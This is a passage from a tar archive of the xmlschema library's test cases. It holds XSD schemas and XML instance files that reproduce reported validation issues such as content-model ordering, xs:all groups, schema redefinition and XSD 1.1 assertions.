minOccurs="1" maxOccurs="unbounded"> <xs:complexType> <xs:sequence> <xs:element name="string" type="xs:string"/> <xs:element name="day1" type="xs:int" minOccurs="0" maxOccurs="1"/> <xs:element name="day2" type="xs:int" minOccurs="0" maxOccurs="1"/> <xs:element name="month1" type="xs:string" minOccurs="0" maxOccurs="1"/> <xs:element name="month2" type="xs:string" minOccurs="0" maxOccurs="1"/> <xs:element name="year1" type="xs:int" minOccurs="0" maxOccurs="1"/> <xs:element name="year2" type="xs:int" minOccurs="0" maxOccurs="1"/> <xs:element name="periodicity" type="xs:string" minOccurs="0" maxOccurs="1"/> <xs:element name="interim_number" type="xs:int" minOccurs="0" maxOccurs="1"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_041/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022013�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_041/issue_041.xml�������������������������������������0000664�0000000�0000000�00000000367�15020401055�0024257�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <Detail xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_041.xsd"> <Name>SomeNameValueThingy</Name> <Value> <Integer>+00000000</Integer> </Value> </Detail>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_041/issue_041.xsd�������������������������������������0000664�0000000�0000000�00000001304�15020401055�0024245�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="Detail" type="my_detail"/> <xs:complexType name="my_detail"> <xs:sequence> <xs:element name="Name" type="xs:string"></xs:element> <xs:element name="Value"> <xs:complexType> <xs:choice> <xs:element name="Boolean" type="xs:boolean" /> <xs:element name="Integer" type="xs:int" /> <xs:element name="Decimal" type="xs:decimal" /> <xs:element name="Code" type="xs:string" /> </xs:choice> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_045/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_045/issue_045.xsd�������������������������������������0000664�0000000�0000000�00000000423�15020401055�0024256�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="PrintableString"> <xs:restriction base="xs:string"> <xs:pattern value="[ '\(\)\+-:=\?A-Za-z]*"/> </xs:restriction> </xs:simpleType> </xs:schema>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_046/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022020�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_046/issue_046.xml�������������������������������������0000664�0000000�0000000�00000000542�15020401055�0024264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Test taken from https://www.w3schools.com/xml/schema_complex_mixed.asp --> <letter xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_046.xsd"> Dear Mr.<name>John Smith</name>. Your order <orderid>1032</orderid> will be shipped on <shipdate>2001-07-13</shipdate>. </letter>��������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_046/issue_046.xsd�������������������������������������0000664�0000000�0000000�00000000643�15020401055�0024264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="letter"> <xs:complexType mixed="true"> <xs:sequence> <xs:element name="name" type="xs:string"/> <xs:element name="orderid" type="xs:positiveInteger"/> <xs:element name="shipdate" type="xs:date"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>���������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_051/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022014�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_051/issue_051.xml�������������������������������������0000664�0000000�0000000�00000000513�15020401055�0024252�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <KeyValuePairs xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_051.xsd"> <test>root</test> <test2>root</test2> <test3>root</test3> <test4>root</test4> <test5>root</test5> <test6>root</test6> <test7>root</test7> </KeyValuePairs>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_051/issue_051.xsd�������������������������������������0000664�0000000�0000000�00000001470�15020401055�0024253�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema attributeFormDefault="unqualified" elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema" > <xs:element name="KeyValuePairs" type="KeyValuePairsType"/> <xs:complexType name="KeyValuePairsType"> <xs:all> <xs:element type="xs:string" name="test2" minOccurs="0" maxOccurs="1" /> <xs:element type="xs:string" name="test3" minOccurs="0" maxOccurs="1" /> <xs:element type="xs:string" name="test4" minOccurs="0" maxOccurs="1" /> <xs:element type="xs:string" name="test5" minOccurs="0" maxOccurs="1" /> <xs:element type="xs:string" name="test6" minOccurs="0" maxOccurs="1" /> <xs:element type="xs:string" name="test7" minOccurs="0" maxOccurs="1" /> <xs:element type="xs:string" name="test" minOccurs="1" maxOccurs="1" /> </xs:all> </xs:complexType> </xs:schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_073/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022020�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_073/issue_073-1.xml�����������������������������������0000664�0000000�0000000�00000000507�15020401055�0024423�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8" ?> <ns:items xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ns="ns" xsi:schemaLocation="ns issue_073.xsd"> <a1>item1</a1> <a2>item2</a2> <a3>item3</a3> <a4>item3</a4> <a5>item3</a5> <a6>item3</a6> <a7>item3</a7> <a8>item3</a8> </ns:items>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_073/issue_073-2.xml�����������������������������������0000664�0000000�0000000�00000000552�15020401055�0024424�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8" ?> <ns:items xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ns="ns" xsi:schemaLocation="ns issue_073.xsd"> <a1>item1</a1> <a2>item2</a2> <a3>item3</a3> <a4>item3</a4> <a5>item3</a5> <a6>item3</a6> <something>unknown</something> <a7>item3</a7> <a8>item3</a8> </ns:items>������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_073/issue_073.xsd�������������������������������������0000664�0000000�0000000�00000001255�15020401055�0024264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:ns="ns" targetNamespace="ns"> <element name="items" type="ns:sequenceType" /> <complexType name="sequenceType"> <sequence> <element type="string" name="a1" minOccurs="0" /> <element type="string" name="a2" minOccurs="0" /> <element type="string" name="a3" /> <element type="string" name="a4" minOccurs="0" maxOccurs="unbounded" /> <element type="string" name="a5" minOccurs="0" /> <element type="string" name="a6" minOccurs="0" /> <element type="string" name="a7" minOccurs="0" /> <element type="string" name="a8" minOccurs="0" /> </sequence> </complexType> </schema>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_086/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022024�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_086/issue_086-1.xml�����������������������������������0000664�0000000�0000000�00000000623�15020401055�0024432�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <foo xmlns='' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_086.xsd"> <header>0</header> <a> <spam>first</spam> </a> <a> <spam>first</spam> </a> <b> <spam>second</spam> </b> <b> <spam>second</spam> </b> <c> <spam>third</spam> </c> <c> <spam>third</spam> </c> </foo>�������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_086/issue_086-2.xml�����������������������������������0000664�0000000�0000000�00000000623�15020401055�0024433�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <foo xmlns='' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_086.xsd"> <header>0</header> <b> <spam>second</spam> </b> <b> <spam>second</spam> </b> <c> <spam>third</spam> </c> <c> <spam>third</spam> </c> <a> <spam>first</spam> </a> <a> <spam>first</spam> </a> </foo>�������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_086/issue_086.xsd�������������������������������������0000664�0000000�0000000�00000002460�15020401055�0024273�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:element name="foo" type="Foo" /> <xs:complexType name="Foo"> <xs:sequence minOccurs="1" maxOccurs="1"> <xs:element name="header" type="Header" /> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="a" type="Bar" /> </xs:sequence> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="b" type="Bar" /> </xs:sequence> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="c" type="Bar" /> </xs:sequence> </xs:choice> </xs:sequence> </xs:complexType> <xs:simpleType name="Header"> <xs:restriction base="xs:nonNegativeInteger" /> </xs:simpleType> <xs:complexType name="Bar"> <xs:all minOccurs="1"> <xs:element name="spam" minOccurs="0" type="Spam" /> </xs:all> </xs:complexType> <xs:simpleType name="Spam"> <xs:restriction base="xs:string" /> </xs:simpleType> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_105/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022014�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_105/issue_105.xsd�������������������������������������0000664�0000000�0000000�00000001003�15020401055�0024243�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="project" type="TProject"> <xs:key name="widgetId"> <xs:selector xpath=".//widgets/widget | .//logic/widget"/> <xs:field xpath="@id"/> </xs:key> </xs:element> <xs:complexType name="TProject"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="protocols"/> </xs:choice> </xs:complexType> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_111/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022011�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_111/issue_111.xsd�������������������������������������0000664�0000000�0000000�00000001272�15020401055�0024245�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:redefine schemaLocation="issue_111_skeleton.xsd"> <xs:complexType name="extendedHeaderDef"> <xs:complexContent> <xs:extension base="extendedHeaderDef"> <xs:attribute name="isAttr2" type="xs:boolean"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:redefine> <xs:element name="rootElement"> <xs:complexType> <xs:sequence> <xs:element name="block1" type="blockDef"/> <xs:element name="optional" type="optionalBlock"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_111/issue_111_skeleton.xsd����������������������������0000664�0000000�0000000�00000001116�15020401055�0026146�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:complexType name="blockDef" abstract="true"> <xs:attribute name="isAttr1" type="xs:boolean"/> </xs:complexType> <xs:complexType name="extendedHeaderDef"> <xs:complexContent> <xs:extension base="blockDef"/> </xs:complexContent> </xs:complexType> <xs:complexType name="optionalBlock"> <xs:sequence> <xs:element name="extendedHeader" type="extendedHeaderDef"/> </xs:sequence> </xs:complexType> </xs:schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_115/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022015�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_115/Rotation.xsd��������������������������������������0000664�0000000�0000000�00000001154�15020401055�0024335�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://www.example.org/Rotation/" targetNamespace="http://www.example.org/Rotation/"> <element name="rotation"> <complexType> <attribute name="roll" type="tns:degree" /> <attribute name="pitch" type="tns:degree" /> <attribute name="yaw" type="tns:degree" /> </complexType> </element> <simpleType name="degree"> <restriction base="float"> <minInclusive value="0" /> <maxInclusive value="360" /> </restriction> </simpleType> </schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_171/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_171/issue_171.xsd�������������������������������������0000664�0000000�0000000�00000001027�15020401055�0024257�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" vc:minVersion="1.1"> <xs:element name="tag"> <xs:complexType> <xs:sequence/> <xs:attribute name="name" type="xs:string"/> <xs:attribute name="abc" type="xs:integer"/> <xs:attribute name="def" type="xs:integer"/> <xs:assert test="(@abc and not(@def)) or (not(@abc) and @def)"/> </xs:complexType> </xs:element> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_171/issue_171b.xsd������������������������������������0000664�0000000�0000000�00000001104�15020401055�0024415�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" vc:minVersion="1.1"> <xs:element name="tag"> <xs:complexType> <xs:sequence/> <xs:attribute name="name" type="xs:string"/> <xs:attribute name="abc" type="xs:float"/> <xs:attribute name="def" type="xs:float"/> <xs:assert test="(@abc and not(@def castable as xs:double)) or (not(@abc castable as xs:double) and @def)"/> </xs:complexType> </xs:element> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_171/issue_171c.xsd������������������������������������0000664�0000000�0000000�00000000770�15020401055�0024426�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" vc:minVersion="1.1"> <xs:element name="tag"> <xs:complexType> <xs:sequence/> <xs:attribute name="name" type="xs:string"/> <xs:attribute name="abc" type="xs:integer"/> <xs:attribute name="def" type="xs:integer"/> <xs:assert test="@abc and @def"/> </xs:complexType> </xs:element> </xs:schema> ��������xmlschema-4.1.0/tests/test_cases/issues/issue_187/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022026�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_187/issue_187_1.xsd�����������������������������������0000664�0000000�0000000�00000001232�15020401055�0024513�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!-- A sample base schema that includes schemas from another directory --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vh="http://example.com/vehicles" targetNamespace="http://example.com/vehicles" elementFormDefault="qualified"> <xs:include schemaLocation="../../examples/vehicles/cars.xsd"/> <xs:include schemaLocation="../../examples/vehicles/bikes.xsd"/> <xs:element name="vehicles"> <xs:complexType> <xs:sequence> <xs:element ref="vh:cars" /> <xs:element ref="vh:bikes" /> </xs:sequence> </xs:complexType> </xs:element> <xs:attribute type="xs:positiveInteger" name="step"/> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_187/issue_187_2.xsd�����������������������������������0000664�0000000�0000000�00000001444�15020401055�0024521�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!-- A sample base schema that includes schemas from a remote source --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vh="http://example.com/vehicles" targetNamespace="http://example.com/vehicles" elementFormDefault="qualified"> <xs:include schemaLocation="https://raw.githubusercontent.com/brunato/xmlschema/master/tests/test_cases/examples/vehicles/cars.xsd"/> <xs:include schemaLocation="https://raw.githubusercontent.com/brunato/xmlschema/master/tests/test_cases/examples/vehicles/bikes.xsd"/> <xs:element name="vehicles"> <xs:complexType> <xs:sequence> <xs:element ref="vh:cars" /> <xs:element ref="vh:bikes" /> </xs:sequence> </xs:complexType> </xs:element> <xs:attribute type="xs:positiveInteger" name="step"/> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_190/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022020�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_190/issue_190.xml�������������������������������������0000664�0000000�0000000�00000000155�15020401055�0024264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <root> <a> <c>1</c> </a> <b> <e>1</e> <c>1</c> </b> </root> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_190/issue_190.xsd�������������������������������������0000664�0000000�0000000�00000001421�15020401055�0024257�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="a" type="type_a"/> <xs:element name="b" type="type_b"/> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType name="type_a"> <xs:sequence> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="c"/> <xs:element name="d"/> </xs:choice> </xs:sequence> </xs:complexType> <xs:complexType name="type_b"> <xs:sequence> <xs:element name="e" minOccurs="0" maxOccurs="unbounded"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="c"/> <xs:element name="d"/> </xs:choice> </xs:sequence> </xs:complexType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_200/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022010�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_200/issue_200.xml�������������������������������������0000664�0000000�0000000�00000000466�15020401055�0024251�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <na:main xmlns:na="ames" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ames ./issue_200.xsd"> <na:item doc_id="1" ref_id="k1">content_k1</na:item> <na:item doc_id="2" ref_id="k2">content_k2</na:item> </na:main> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_200/issue_200.xsd�������������������������������������0000664�0000000�0000000�00000001360�15020401055�0024241�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:na="ames" targetNamespace="ames" elementFormDefault="qualified"> <xs:complexType name="itemtype"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute name="doc_id" type="xs:int" /> <xs:attribute name="ref_id" type="xs:string" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:complexType name="maintype"> <xs:sequence> <xs:element name="item" maxOccurs="unbounded" type="na:itemtype" /> </xs:sequence> </xs:complexType> <xs:element name="main" type="na:maintype" /> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_203/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022013�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_203/issue_203.xml�������������������������������������0000664�0000000�0000000�00000000304�15020401055�0024246�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- issue_203.xml --> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_203.xsd"> <elem1/> </root> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_203/issue_203.xsd�������������������������������������0000664�0000000�0000000�00000001700�15020401055�0024245�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0'?> <!-- issue_203.xsd - Invalid for XSD 1.0 (restriction items not in base order) --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="restrictedModel"/> <xs:complexType name="baseModel"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem1"/> <xs:element name="elem2"/> <xs:element name="elem3"/> <xs:element name="elem4"/> <xs:element name="elem5"/> </xs:choice> </xs:complexType> <xs:complexType name="restrictedModel"> <xs:complexContent> <xs:restriction base="baseModel"> <xs:choice> <xs:element name="elem1"/> <xs:element name="elem5"/> <xs:element name="elem2"/> </xs:choice> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema> ����������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_203/issue_203alt.xsd����������������������������������0000664�0000000�0000000�00000001704�15020401055�0024752�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0'?> <!-- issue_203alt.xsd - Valid also for XSD 1.0 (restriction items with base order) --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="restrictedModel"/> <xs:complexType name="baseModel"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem1"/> <xs:element name="elem2"/> <xs:element name="elem3"/> <xs:element name="elem4"/> <xs:element name="elem5"/> </xs:choice> </xs:complexType> <xs:complexType name="restrictedModel"> <xs:complexContent> <xs:restriction base="baseModel"> <xs:choice> <xs:element name="elem1"/> <xs:element name="elem2"/> <xs:element name="elem5"/> </xs:choice> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema> ������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_204/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022014�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_204/issue_204.xsd�������������������������������������0000664�0000000�0000000�00000001014�15020401055�0024245�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType" /> 